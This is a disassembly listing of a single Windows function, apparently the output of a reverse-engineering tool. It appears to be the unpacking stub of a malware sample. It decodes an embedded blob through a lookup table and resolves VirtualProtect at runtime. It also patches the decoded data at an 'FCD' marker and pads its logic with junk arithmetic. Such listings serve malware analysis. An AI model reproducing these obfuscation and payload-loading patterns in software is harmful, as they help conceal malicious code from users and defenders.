Function at 0x401455
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
and dword [ebp - 0x44c], 0
mov dword [0x41a534], 0x6538
push 0x6538
call fcn.004037b9
pop ecx
mov dword [0x41a52c], eax
push 0x6538
push 0x405030
push dword [0x41a52c]
call fcn.00401975
add esp, 0xc
push 0x100
call fcn.004037b9
pop ecx
mov dword [0x41a530], eax
push 0x100
push 0x40b56c
push dword [0x41a530]
call fcn.00401975
add esp, 0xc
mov eax, dword [ebp + 0x10]
mov dword [0x40babc], eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x40bac8], eax
cmp dword [0x40bac8], 0
jne 0x4014e8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.VirtualProtect
push dword [0x40bac8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40bab4], eax
cmp dword [0x40bab4], 0
jne 0x40150f
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040117a
cmp dword [0x405008], 9
jne 0x401554
mov eax, dword [0x405014]
imul eax, dword [0x405018]
mov ecx, dword [0x405018]
imul ecx, ecx, 5
sub eax, ecx
mov dword [0x405014], eax
and dword [0x405010], 0
mov eax, dword [0x405018]
shl eax, 1
mov dword [0x405014], eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040103e
test eax, eax
je 0x401565
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x405018]
add eax, 7
mov dword [0x405014], eax
push dword [0x41a534]
call fcn.004037b9
pop ecx
mov dword [0x40bab0], eax
mov eax, dword [0x405014]
imul eax, dword [0x405018]
mov ecx, dword [0x405018]
imul ecx, ecx, 5
sub eax, ecx
mov dword [0x405014], eax
and dword [ebp - 0x30c], 0
jmp 0x4015b5
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0x30c]
cmp eax, dword [0x41a534]
jae 0x401616
mov eax, dword [0x405018]
shl eax, 1
mov dword [0x405014], eax
mov eax, dword [0x41a52c]
add eax, dword [ebp - 0x30c]
mov al, byte [eax]
mov byte [ebp - 0x208], al
mov eax, dword [0x405014]
mov ecx, dword [0x405018]
lea eax, [ecx + eax - 9]
mov dword [0x405014], eax
movzx eax, byte [ebp - 0x208]
mov ecx, dword [0x40bab0]
add ecx, dword [ebp - 0x30c]
mov edx, dword [0x41a530]
mov al, byte [edx + eax]
mov byte [ecx], al
jmp 0x4015a8
push dword [0x41a534]
push 0x40bacc
push dword [0x40bab0]
call fcn.004022b9
add esp, 0xc
mov dword [ebp - 0x448], eax
mov eax, dword [0x405018]
imul eax, dword [0x405018]
sub eax, 3
mov dword [0x405014], eax
mov dword [0x40bab0], 0x40bacc
mov eax, dword [0x405014]
imul eax, eax, 0x63
mov dword [0x405014], eax
mov eax, dword [ebp - 0x448]
mov dword [0x41a534], eax
mov dword [ebp - 0x30c], 0x14
jmp 0x401684
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0x30c]
cmp eax, dword [0x41a534]
jae 0x4017ce
mov eax, dword [0x40bab0]
add eax, dword [ebp - 0x30c]
movzx eax, byte [eax]
cmp eax, 0x44
jne 0x4017c9
mov eax, dword [0x40bab0]
add eax, dword [ebp - 0x30c]
movzx eax, byte [eax - 1]
cmp eax, 0x43
jne 0x4017c9
mov eax, dword [0x40bab0]
add eax, dword [ebp - 0x30c]
movzx eax, byte [eax - 2]
cmp eax, 0x46
jne 0x4017c9
mov eax, dword [0x405014]
sub eax, 4
mov dword [0x405018], eax
mov eax, dword [0x405014]
imul eax, eax, 0x63
mov dword [0x405014], eax
mov eax, dword [ebp - 0x30c]
mov ecx, dword [0x40bab0]
lea eax, [ecx + eax - 6]
mov dword [ebp - 0x318], eax
mov eax, dword [0x405018]
imul eax, dword [0x405018]
sub eax, 3
mov dword [0x405014], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x318]
mov ecx, dword [0x405008]
mov dword [eax], ecx
mov eax, dword [0x405014]
mov ecx, dword [0x405018]
lea eax, [ecx + eax - 9]
mov dword [0x405014], eax
mov eax, dword [0x405018]
xor edx, edx
push 0xc
pop ecx
div ecx
mov dword [0x405018], eax
mov eax, dword [ebp - 0x30c]
mov ecx, dword [0x40bab0]
lea eax, [ecx + eax - 0xa]
mov dword [ebp - 0x314], eax
mov eax, dword [0x405018]
imul eax, dword [0x405018]
sub eax, 3
mov dword [0x405014], eax
mov eax, dword [0x405018]
xor edx, edx
push 0xc
pop ecx
div ecx
mov dword [0x405018], eax
mov eax, dword [ebp - 0x314]
mov ecx, dword [0x40500c]
mov dword [eax], ecx
mov eax, dword [0x405014]
imul eax, dword [0x405018]
mov ecx, dword [0x405018]
imul ecx, ecx, 5
sub eax, ecx
mov dword [0x405014], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401677
mov eax, dword [0x405018]
add eax, 8
mov dword [0x405018], eax
mov eax, dword [0x405018]
shl eax, 3
mov dword [0x405018], eax
call fcn.004013c4
mov eax, dword [0x405014]
imul eax, eax, 0x63
mov dword [0x405014], eax
xor eax, eax
leave
ret 0x10